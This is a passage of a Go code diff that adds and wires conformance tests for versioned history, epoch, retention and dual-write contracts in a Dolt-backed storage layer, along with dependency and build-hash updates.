t.Errorf("CurrentEpoch after BumpEpoch(%s) = %d, want the bumped value %d", trigger, observed, after) + } + } +} + +// RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed pins R20-n — "Rev7 +// tightening... the clause most likely to be gotten wrong" in the +// architecture doc's own words. A prior-epoch Address goes +// GoneReorganization UNLESS the backend still serves that Version, in which +// case it must stay Live AND additionally report the Address it now +// resolves to under the new epoch. +// +// StillServes is an ORACLE here, not a control: this case cannot make a real +// backend keep serving one address and drop another, since Phase 0 wires no +// real backend. It asks StillServes what the fixture (once real) decided, +// and checks the rest of the contract's promise against that decision for +// both outcomes. +func RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed(t *testing.T, ctx context.Context, fixture EpochFixture) { + t.Helper() + if fixture.MintUnderEpoch == nil { + t.Skip("this backend has no way to mint a Version under a known epoch (MintUnderEpoch is nil)") + } + if fixture.BumpEpoch == nil { + t.Skip("this backend has no epoch concept yet (BumpEpoch is nil)") + } + if fixture.StillServes == nil { + t.Skip("this backend cannot report whether it still serves a prior-epoch Version (StillServes is nil)") + } + if fixture.Resolve == nil { + t.Skip("this backend does not yet report retention state (Resolve is nil)") + } + if fixture.CurrentAddressFor == nil { + t.Skip("this backend cannot report a still-served Version's new Address (CurrentAddressFor is nil)") + } + store := epochStore(fixture, "voids") + + addrA, err := fixture.MintUnderEpoch(ctx, store, "record-a") + if err != nil { + t.Fatalf("MintUnderEpoch(record-a): %v", err) + } + addrB, err := fixture.MintUnderEpoch(ctx, store, "record-b") + if err != nil { + t.Fatalf("MintUnderEpoch(record-b): %v", err) + } + + newEpoch, err := fixture.BumpEpoch(ctx, store, EpochBumpTriggerRestore) + if err != nil { + t.Fatalf("BumpEpoch: %v", err) + } + + servesA, err := fixture.StillServes(ctx, store, addrA) + if err != nil { + t.Fatalf("StillServes(%s): %v", addrA, err) + } + servesB, err := fixture.StillServes(ctx, store, addrB) + if err != nil { + t.Fatalf("StillServes(%s): %v", addrB, err) + } + if servesA == servesB { + t.Skip("this scenario needs one still-served and one no-longer-served address to exercise both halves of R20-n; StillServes reported the same answer for both, so this fixture gives this case nothing to contrast") + } + + stillServed, noLongerServed := addrA, addrB + if servesB && !servesA { + stillServed, noLongerServed = addrB, addrA + } + + voidedAnswer, err := fixture.Resolve(ctx, store, noLongerServed) + if err != nil { + t.Fatalf("Resolve(no-longer-served): %v", err) + } + if voidedAnswer.Restriction != RestrictionGoneReorganization { + t.Errorf("Resolve(a prior-epoch Address no longer served) = %s, want RestrictionGoneReorganization (R20-n)", voidedAnswer.Restriction) + } + if voidedAnswer.Epoch == nil { + t.Fatal("Resolve(a prior-epoch Address no longer served).Epoch = nil, want the current epoch populated (R20-n: the answer must name the current epoch, not just Restriction alone)") + } else if *voidedAnswer.Epoch != newEpoch { + t.Errorf("Resolve(a prior-epoch Address no longer served).Epoch = %d, want the current epoch %d", *voidedAnswer.Epoch, newEpoch) + } + + keptAnswer, err := fixture.Resolve(ctx, store, stillServed) + if err != nil { + t.Fatalf("Resolve(still-served): %v", err) + } + if keptAnswer.Restriction != RestrictionLive { + t.Errorf("Resolve(a prior-epoch Address the backend still serves) = %s, want RestrictionLive (R20-n's exception)", keptAnswer.Restriction) + } + + newAddr, err := fixture.CurrentAddressFor(ctx, store, stillServed) + if err != nil { + t.Fatalf("CurrentAddressFor(%s): %v", stillServed, err) + } + if newAddr == "" { + t.Error("CurrentAddressFor(a still-served prior-epoch Address) returned an empty Address, want a real one under the new epoch") + } +} + +// --- fixture helpers ------------------------------------------------------- + +// retentionStore names a storeID namespaced by the fixture's IssuePrefix and +// tag, so cases that need more than one store (e.g. to probe FR-06's +// no-lineage-knowledge case) get independent ones. +func retentionStore(fixture RetentionFixture, tag string) string { + return fixture.IssuePrefix + "-retention-store-" + tag +} + +// retentionAddress builds a fresh, syntactically valid Address namespaced by +// the fixture's IssuePrefix and tag, WITHOUT ever giving it to any store. +// RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone is the only remaining +// caller: Unknown specifically means a store with no lineage knowledge of +// the Address at all (FR-06), so fabricating one that no store has ever +// seen is the correct construction here, not a shortcut — unlike every +// other case in this file, which now mints a real Address via +// fixture.Mint/retentionMint instead of relying on the retired +// Live-baseline convention (see this file's package doc comment, formerly +// §4a choice 3). +func retentionAddress(fixture RetentionFixture, tag string) Address { + return Address(fixture.IssuePrefix + "-retention-address-" + tag) +} + +// retentionMint mints a fresh Address for tag on store via fixture.Mint, +// fataling the case if minting fails — analogous to how +// EpochFixture.MintUnderEpoch is called directly in this file's Epoch +// cases, without its own wrapper. Cases use this in place of the retired +// retentionAddress convention (formerly §4a choice 3, now DIED — see this +// file's package doc comment) for any Address that must resolve as a real, +// store-established Version. +func retentionMint(t *testing.T, ctx context.Context, fixture RetentionFixture, store, tag string) Address { + t.Helper() + address, err := fixture.Mint(ctx, store, tag) + if err != nil { + t.Fatalf("Mint(%s, %s): %v", store, tag, err) + } + return address +} + +// epochStore names a storeID namespaced by the fixture's IssuePrefix and tag. +func epochStore(fixture EpochFixture, tag string) string { + return fixture.IssuePrefix + "-epoch-store-" + tag +} + +// sameRetentionAnswer compares two RetentionAnswer values by content rather +// than identity, so a case can assert "this did not change" without +// depending on the concrete Restriction the backend happened to pick. +func sameRetentionAnswer(a, b RetentionAnswer) bool { + return a.Restriction == b.Restriction && + a.ProducingStore == b.ProducingStore && + sameRetainedWindow(a.RetainedWindow, b.RetainedWindow) && + sameAttributionPtr(a.Attribution, b.Attribution) && + sameIntPtr(a.Epoch, b.Epoch) +} + +func sameAttributionPtr(a, b *ChangeAttribution) bool { + if a == nil || b == nil { + return a == b + } + return sameAttribution(*a, *b) +} + +func sameIntPtr(a, b *int) bool { + if a == nil || b == nil { + return a == b + } + return *a == *b +} + +func sameRetainedWindow(a, b *RetainedWindow) bool { + if a == nil || b == nil { + return a == b + } + return *a == *b +} diff --git a/backend/conformance/role_bundle.go b/backend/conformance/role_bundle.go index eed3edf33..3b2831ba1 100644 --- a/backend/conformance/role_bundle.go +++ b/backend/conformance/role_bundle.go @@ -89,6 +89,7 @@ type RoleContractBundle struct { CycleDetector func(t *testing.T) *CycleDetectorFixture Deleter func(t *testing.T) *DeleterFixture DependencyEditor func(t *testing.T) *DependencyEditorFixture + DualWrite func(t *testing.T) *DualWriteFixture EdgeReader func(t *testing.T) *EdgeReaderFixture GraphCounter func(t *testing.T) *GraphCounterFixture Importer func(t *testing.T) *ImporterFixture diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 48ab94dc9..3cd4239d7 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -245,6 +245,8 @@ var roleContractCases = []roleContract{ RunDependencyEditorRefusesCrossPlaneCycle, RunDependencyEditorAddedEchoesTheRequestOrder, RunDependencyEditorSameTypeReAddIsIdempotent, + RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion, + RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp, RunDependencyEditorRepeatsWithinOneRequestCollapse, RunDependencyEditorAttributesItsEventsToTheActor, RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge, @@ -280,6 +282,24 @@ var roleContractCases = []roleContract{ RunDependencyEditorAcceptsBlockingAcrossIssueTypes, ), + // The accessor named here is not an accessor at all, alone among these + // rows except Journal: storage.VersionedHistoryConfigurer is reached by + // TYPE ASSERTION, either on a store (the dolt and embedded-dolt legs) or + // on a unit-of-work provider (the uow leg), because enabling dual-write + // history is engine configuration rather than an issue-shaped operation + // storage.Storage publishes. A backend that does not implement Phase 2's + // dual-write mechanism leaves this field nil; see + // dualwrite_history_contract.go's header. + roleCases("DualWrite", "the storage.VersionedHistoryConfigurer type assertion", oncePerRole, + func(b RoleContractBundle) func(t *testing.T) *DualWriteFixture { return b.DualWrite }, + RunDualWriteMintsOneVersionRowPerAcceptedMutation, + RunDualWriteNoOpMutationMintsNoRow, + RunDualWriteAttributionIsRecordedWithTheMutation, + RunDualWriteCurrentRevisionMatchesTheNewVersionRow, + RunDualWriteFlagOffProducesNoVersionRows, + RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed, + ), + roleCases("EdgeReader", "EdgeReader()", oncePerRole, func(b RoleContractBundle) func(t *testing.T) *EdgeReaderFixture { return b.EdgeReader }, RunEdgeReaderAnswersOnePerAnchorInRequestOrder, diff --git a/backend/conformance/role_bundle_test.go b/backend/conformance/role_bundle_test.go index 477f333c7..2ca2fa002 100644 --- a/backend/conformance/role_bundle_test.go +++ b/backend/conformance/role_bundle_test.go @@ -27,9 +27,16 @@ import ( // which is the same defect class as a test with correct assertions on a fixture // that cannot fail, one level up. So the expected set is DERIVED from the // package source rather than written down: every top-level func named Run* that -// takes (*testing.T, context.Context, Fixture) is a role-tier case, and -// the entry points that take a Factory instead — RunAll, RunAudit and friends, -// RunPortableMethods, RunSearchPaging, RunDeferredReads — are not. +// takes (*testing.T, context.Context, Fixture) where Fixture is one +// of RoleContractBundle's own field types is a role-tier case. That bundle-field +// check is what keeps this scoped to the role tier specifically: the package +// also holds other conformance tiers (e.g. the history-semantics contracts that +// versioned_history_wiring_test.go wires directly, with no RoleContractBundle +// field of their own — see that file's header) whose Run*Fixture-shaped +// functions must NOT be swept in here, since nothing in RoleContractBundle ever +// calls them. The entry points that take a Factory instead — RunAll, RunAudit +// and friends, RunPortableMethods, RunSearchPaging, RunDeferredReads — are not +// role-tier cases either. // // The table's own half of the comparison is derived too: roleCases resolves // each function VALUE back to its declared name (runFuncName), so a row cannot @@ -314,9 +321,13 @@ func runProbeChild(t *testing.T, mode string) (string, error) { // parseRoleContractCases returns every role-tier case declared in this // package's non-test sources, in filename then declaration order — the order -// roleContractCases is written in. +// roleContractCases is written in. A Run*Fixture-shaped function whose Fixture +// type is not one of RoleContractBundle's own field types belongs to a +// different conformance tier and is not a role-tier case; see +// roleTierFixtureNames. func parseRoleContractCases(t *testing.T) []string { t.Helper() + roleFixtures := roleTierFixtureNames() _, thisFile, _, ok := runtime.Caller(0) if !ok { t.Fatal("runtime.Caller failed") @@ -341,7 +352,7 @@ func parseRoleContractCases(t *testing.T) []string { if !ok || fn.Recv != nil || !strings.HasPrefix(fn.Name.Name, "Run") { continue } - if takesFixture(fn) { + if fixtureName, ok := takesFixture(fn); ok && roleFixtures[fixtureName] { cases = append(cases, fn.Name.Name) } } @@ -350,22 +361,54 @@ func parseRoleContractCases(t *testing.T) []string { return cases } +// roleTierFixtureNames returns the pointee type name of every *XxxFixture a +// RoleContractBundle field produces. This is the role tier's actual membership +// test: a Run*Fixture-shaped function is a role-tier case only if its Fixture +// type appears here, because that is the only way RunRoleContracts could ever +// reach it. Other conformance tiers in this package (e.g. Phase 0's +// history-semantics contracts, wired directly by +// versioned_history_wiring_test.go rather than through this bundle) mint their +// own *Fixture types that intentionally never appear here. +func roleTierFixtureNames() map[string]bool { + names := map[string]bool{} + bundleType := reflect.TypeOf(RoleContractBundle{}) + for i := range bundleType.NumField() { + field := bundleType.Field(i).Type + if field.Kind() != reflect.Func || field.NumOut() != 1 { + continue + } + out := field.Out(0) + if out.Kind() != reflect.Ptr { + continue + } + names[out.Elem().Name()] = true + } + return names +} + // takesFixture reports whether fn has the role-tier case signature: -// (t *testing.T, ctx context.Context, fixture Fixture). -func takesFixture(fn *ast.FuncDecl) bool { +// (t *testing.T, ctx context.Context, fixture Fixture), returning the +// Fixture type's name so the caller can check it against the role tier's +// actual membership (roleTierFixtureNames) rather than the signature shape +// alone — the shape is necessary but not sufficient, since other conformance +// tiers use it too. +func takesFixture(fn *ast.FuncDecl) (fixtureName string, ok bool) { if fn.Type.Params == nil || len(fn.Type.Params.List) != 3 { - return false + return "", false } params := fn.Type.Params.List - star, ok := params[0].Type.(*ast.StarExpr) - if !ok || !isQualified(star.X, "testing", "T") { - return false + star, starOk := params[0].Type.(*ast.StarExpr) + if !starOk || !isQualified(star.X, "testing", "T") { + return "", false } if !isQualified(params[1].Type, "context", "Context") { - return false + return "", false } - fixture, ok := params[2].Type.(*ast.Ident) - return ok && strings.HasSuffix(fixture.Name, "Fixture") + fixture, identOk := params[2].Type.(*ast.Ident) + if !identOk || !strings.HasSuffix(fixture.Name, "Fixture") { + return "", false + } + return fixture.Name, true } func isQualified(expr ast.Expr, pkg, name string) bool { diff --git a/backend/conformance/versioned_history_wiring_test.go b/backend/conformance/versioned_history_wiring_test.go new file mode 100644 index 000000000..08eed2b53 --- /dev/null +++ b/backend/conformance/versioned_history_wiring_test.go @@ -0,0 +1,133 @@ +package conformance + +import ( + "context" + "testing" +) + +// TestVersionedHistoryPhase0RunsInFullSkipMode is Phase 0's own wiring: it +// constructs each of the three new Fixtures with every hook nil — exactly +// the state every backend's real fixture kit is in as of this phase's merge +// (architecture §12: "every new hook is nil in every backend's fixture kit") +// — and runs every R16/R16.1/R17/R20 case once each, proving the whole suite +// compiles and skips cleanly under today's CI (NFR-01). +// +// Each leg under internal/storage wires these same entrypoints, with the same +// all-nil fixtures, so TestEveryLegWiresEveryRoleContract counts them; this +// local copy is not a substitute for those, it just proves the all-skip +// behavior once without needing to build all three legs to see it. +func TestVersionedHistoryPhase0RunsInFullSkipMode(t *testing.T) { + ctx := context.Background() + + t.Run("ExpectedRevision", func(t *testing.T) { + fixture := ExpectedRevisionFixture{IssuePrefix: "vh0"} + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) + }) + + t.Run("CrossRecordInvariant", func(t *testing.T) { + fixture := CrossRecordInvariantFixture{IssuePrefix: "vh0"} + t.Run("SurvivesTwoPassingPerRecordGuards", func(t *testing.T) { + RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards(t, ctx, fixture) + }) + t.Run("StoreInvariantTransactionScopesExactlyTheSpanningRecords", func(t *testing.T) { + RunStoreInvariantTransactionScopesExactlyTheSpanningRecords(t, ctx, fixture) + }) + t.Run("InvariantRefusalNamesTheViolatedInvariant", func(t *testing.T) { + RunInvariantRefusalNamesTheViolatedInvariant(t, ctx, fixture) + }) + t.Run("MemoryKeyAliasUniquenessIsAStoreInvariantNotACAS", func(t *testing.T) { + RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("MaximumEndpointMultiplicityIsAStoreInvariantNotACAS", func(t *testing.T) { + RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("AdvisoryLeaseAloneDoesNotPreventTheInvariantViolation", func(t *testing.T) { + RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation(t, ctx, fixture) + }) + t.Run("LeaseAcquisitionRecordsNoHistoryEntry", func(t *testing.T) { + RunLeaseAcquisitionRecordsNoHistoryEntry(t, ctx, fixture) + }) + }) + + t.Run("Retention", func(t *testing.T) { + fixture := RetentionFixture{IssuePrefix: "vh0"} + t.Run("RemovalLeavesTheAddressAbleToAnswer", func(t *testing.T) { + RunRemovalLeavesTheAddressAbleToAnswer(t, ctx, fixture) + }) + t.Run("RemovalReasonIsRetentionErasureOrReorganizationDistinctly", func(t *testing.T) { + RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly(t, ctx, fixture) + }) + t.Run("RemovalReportsTheSurvivingRetainedWindow", func(t *testing.T) { + RunRemovalReportsTheSurvivingRetainedWindow(t, ctx, fixture) + }) + t.Run("RemovalNeverReassignsASurvivingAddress", func(t *testing.T) { + RunRemovalNeverReassignsASurvivingAddress(t, ctx, fixture) + }) + t.Run("GoneIsDistinguishableFromUnknown", func(t *testing.T) { + RunGoneIsDistinguishableFromUnknown(t, ctx, fixture) + }) + t.Run("AnAddressNeverResolvesToADifferentState", func(t *testing.T) { + RunAnAddressNeverResolvesToADifferentState(t, ctx, fixture) + }) + t.Run("ADestructiveOperationEnumeratesAffectedAddressesFirst", func(t *testing.T) { + RunADestructiveOperationEnumeratesAffectedAddressesFirst(t, ctx, fixture) + }) + t.Run("AHoldPreventsRemovalAndReportsInRetainedBounds", func(t *testing.T) { + RunAHoldPreventsRemovalAndReportsInRetainedBounds(t, ctx, fixture) + }) + t.Run("ForcingAHeldRemovalRecordsWhoWhenWhy", func(t *testing.T) { + RunForcingAHeldRemovalRecordsWhoWhenWhy(t, ctx, fixture) + }) + t.Run("EveryRetentionAnswerNamesItsProducingStore", func(t *testing.T) { + RunEveryRetentionAnswerNamesItsProducingStore(t, ctx, fixture) + }) + t.Run("AStoreWithNoLineageKnowledgeAnswersUnknownNotGone", func(t *testing.T) { + RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone(t, ctx, fixture) + }) + t.Run("AStoreThatRemovesStateStillAnswersGoneDurably", func(t *testing.T) { + RunAStoreThatRemovesStateStillAnswersGoneDurably(t, ctx, fixture) + }) + t.Run("ErasureMintsACorrectedVersionRatherThanEditingInPlace", func(t *testing.T) { + RunErasureMintsACorrectedVersionRatherThanEditingInPlace(t, ctx, fixture) + }) + }) + + t.Run("Epoch", func(t *testing.T) { + fixture := EpochFixture{IssuePrefix: "vh0"} + t.Run("AnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange", func(t *testing.T) { + RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange(t, ctx, fixture) + }) + t.Run("EpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed", func(t *testing.T) { + RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed(t, ctx, fixture) + }) + }) +} diff --git a/default.nix b/default.nix index 1e44ff2aa..753f83996 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-DQdauEx5g48Xbxrz4wGLx4vkrQoYQX3FUx+7N/Y6YV4="; + vendorHash = "sha256-m+ADPJxU1PuVm5dAHOZGBkXbGIzEIiJMmpypvwiFKX4="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index 85f9a81ad..7380f8693 100644 --- a/go.mod +++ b/go.mod @@ -16,6 +16,7 @@ require ( github.com/dolthub/driver/v2 v2.2.0 github.com/dolthub/eventkit v0.0.0-20260611184414-99f5693e696a github.com/go-sql-driver/mysql v1.10.0 + github.com/gowebpki/jcs v1.0.1 github.com/invopop/jsonschema v0.14.0 github.com/mattn/go-sqlite3 v1.14.49 github.com/olebedev/when v1.1.0 diff --git a/go.sum b/go.sum index 9196fa792..6f4b3d6f3 100644 --- a/go.sum +++ b/go.sum @@ -703,6 +703,8 @@ github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/gowebpki/jcs v1.0.1 h1:Qjzg8EOkrOTuWP7DqQ1FbYtcpEbeTzUoTN9bptp8FOU= +github.com/gowebpki/jcs v1.0.1/go.mod h1:CID1cNZ+sHp1CCpAR8mPf6QRtagFBgPJE0FCUQ6+BrI= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0/go.mod h1:Hyl3n6Twe1hvtd9XUXDec4pTvgMSEixRuQKPTMH2bNs= diff --git a/internal/storage/dolt/cross_record_invariant_contract_test.go b/internal/storage/dolt/cross_record_invariant_contract_test.go new file mode 100644 index 000000000..9412def23 --- /dev/null +++ b/internal/storage/dolt/cross_record_invariant_contract_test.go @@ -0,0 +1,41 @@ +package dolt + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestCrossRecordInvariantContract wires this leg into the R16.1 +// cross-record invariant contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestCrossRecordInvariantContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.CrossRecordInvariantFixture{IssuePrefix: "xrec"} + + t.Run("SurvivesTwoPassingPerRecordGuards", func(t *testing.T) { + conformance.RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards(t, ctx, fixture) + }) + t.Run("StoreInvariantTransactionScopesExactlyTheSpanningRecords", func(t *testing.T) { + conformance.RunStoreInvariantTransactionScopesExactlyTheSpanningRecords(t, ctx, fixture) + }) + t.Run("InvariantRefusalNamesTheViolatedInvariant", func(t *testing.T) { + conformance.RunInvariantRefusalNamesTheViolatedInvariant(t, ctx, fixture) + }) + t.Run("MemoryKeyAliasUniquenessIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("MaximumEndpointMultiplicityIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("AdvisoryLeaseAloneDoesNotPreventTheInvariantViolation", func(t *testing.T) { + conformance.RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation(t, ctx, fixture) + }) + t.Run("LeaseAcquisitionRecordsNoHistoryEntry", func(t *testing.T) { + conformance.RunLeaseAcquisitionRecordsNoHistoryEntry(t, ctx, fixture) + }) +} diff --git a/internal/storage/dolt/dependency_editor_contract_test.go b/internal/storage/dolt/dependency_editor_contract_test.go index a8623bca5..3f3b7d26a 100644 --- a/internal/storage/dolt/dependency_editor_contract_test.go +++ b/internal/storage/dolt/dependency_editor_contract_test.go @@ -43,6 +43,18 @@ func TestDependencyEditorSameTypeReAddIsIdempotent(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddIsIdempotent(t, ctx, fixture) } +func TestDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "idemmeta") + defer cleanup() + conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t, ctx, fixture) +} + +func TestDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "idemmetasame") + defer cleanup() + conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, ctx, fixture) +} + func TestDependencyEditorRepeatsWithinOneRequestCollapse(t *testing.T) { fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "repeat") defer cleanup() @@ -256,13 +268,15 @@ func newDoltDependencyEditorFixture(t *testing.T, prefix string) (conformance.De } kit := newDoltRoleFixtureKit(store, prefix) fixture := conformance.DependencyEditorFixture{ - IssuePrefix: kit.IssuePrefix, - Editor: editor, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - AddDependency: kit.AddDependency, - QueryScalar: kit.QueryScalar, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Editor: editor, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + CountHistory: kit.CountHistory, + SetJournalEnabled: store.SetEventsJournalEnabled, + SetVersionedHistoryEnabled: store.SetVersionedHistoryEnabled, } return fixture, ctx, func() { cancel() diff --git a/internal/storage/dolt/dualwrite_history_contract_test.go b/internal/storage/dolt/dualwrite_history_contract_test.go new file mode 100644 index 000000000..32af3771d --- /dev/null +++ b/internal/storage/dolt/dualwrite_history_contract_test.go @@ -0,0 +1,226 @@ +package dolt + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// TestDualWriteContract runs the dual-write history contract with +// storage.VersionedHistoryConfigurer ON. Like TestJournalContract, this is an +// engine check rather than an independent per-leg vote: all three legs share +// RecordVersionInTx, and the dolt leg is where a write that escaped its +// transaction, or a read that raced it, would have somewhere to go wrong. +func TestDualWriteContract(t *testing.T) { + fixture, ctx, cleanup := newDoltDualWriteFixture(t, "dwc", true) + defer cleanup() + + t.Run("MintsOneVersionRowPerAcceptedMutation", func(t *testing.T) { + conformance.RunDualWriteMintsOneVersionRowPerAcceptedMutation(t, ctx, fixture) + }) + t.Run("NoOpMutationMintsNoRow", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationMintsNoRow(t, ctx, fixture) + }) + t.Run("AttributionIsRecordedWithTheMutation", func(t *testing.T) { + conformance.RunDualWriteAttributionIsRecordedWithTheMutation(t, ctx, fixture) + }) + t.Run("CurrentRevisionMatchesTheNewVersionRow", func(t *testing.T) { + conformance.RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t, ctx, fixture) + }) + t.Run("NoOpMutationLeavesThePriorVersionRowUnperturbed", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t, ctx, fixture) + }) +} + +// TestDualWriteContractFlagOff runs FR-7 against a fixture constructed with +// the flag OFF from the start. It is a separate top-level test, not a subtest +// of TestDualWriteContract, because sharing one store between a flag-on and a +// flag-off case would make "flag off" mean "flag not yet turned on this +// session" rather than the thing FR-7 actually promises. +func TestDualWriteContractFlagOff(t *testing.T) { + fixture, ctx, cleanup := newDoltDualWriteFixture(t, "dwcoff", false) + defer cleanup() + + t.Run("FlagOffProducesNoVersionRows", func(t *testing.T) { + conformance.RunDualWriteFlagOffProducesNoVersionRows(t, ctx, fixture) + }) +} + +// TestDualWriteFixtureKitIsWired is the explicit per-leg guardrail design +// §8.5 calls for in place of AST auto-discovery: DualWriteFixture's type name +// ends in "Fixture" like every other role fixture, so +// TestEveryLegWiresEveryRoleContract's scan of backend/conformance DOES +// enumerate its six RunDualWriteXxx functions as entrypoints — but that scan +// is satisfied the moment this leg's own test files reference all six by +// name, which TestDualWriteContract and TestDualWriteContractFlagOff already +// do between them. What that satisfied scan cannot catch is a fixture built +// with a nil closure that happens to never run in this leg's own case list — +// silent by construction, since a nil func field only panics the one time +// something calls it. This test exists to make that failure loud instead: +// it fails the moment any of the five closures is nil, independent of +// whether any case above happens to exercise it. +func TestDualWriteFixtureKitIsWired(t *testing.T) { + fixture, _, cleanup := newDoltDualWriteFixture(t, "dwk", true) + defer cleanup() + + if fixture.Mutate == nil { + t.Error("DualWriteFixture.Mutate is nil") + } + if fixture.MutateAsNoOp == nil { + t.Error("DualWriteFixture.MutateAsNoOp is nil") + } + if fixture.CurrentRevision == nil { + t.Error("DualWriteFixture.CurrentRevision is nil") + } + if fixture.VersionRowCount == nil { + t.Error("DualWriteFixture.VersionRowCount is nil") + } + if fixture.LatestVersionAttribution == nil { + t.Error("DualWriteFixture.LatestVersionAttribution is nil") + } +} + +// TestDualWriteStampsTheCurrentStoreEpochOnEachVersionRow pins FR-6, the one +// dual-write requirement DualWriteFixture cannot reach: every issue_versions +// row this phase inserts carries the CURRENT store_epoch.epoch value (design +// §16's "stamped"), and inserting that row must never itself change +// store_epoch.epoch (design's "never bumped" — that bump belongs to a later, +// unbuilt phase, not to RecordVersionInTx). This lives on the dolt leg only, +// not because the property is dolt-specific, but because none of +// DualWriteFixture's five closures expose either epoch column — see +// dualwrite_history_contract.go's "WHAT THIS CONTRACT DELIBERATELY DOES NOT +// PIN" — and the dolt leg is the one with a plain *sql.DB to read them from +// directly. +func TestDualWriteStampsTheCurrentStoreEpochOnEachVersionRow(t *testing.T) { + store, storeCleanup := setupTestStore(t) + defer storeCleanup() + ctx, cancel := testContext(t) + defer cancel() + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + 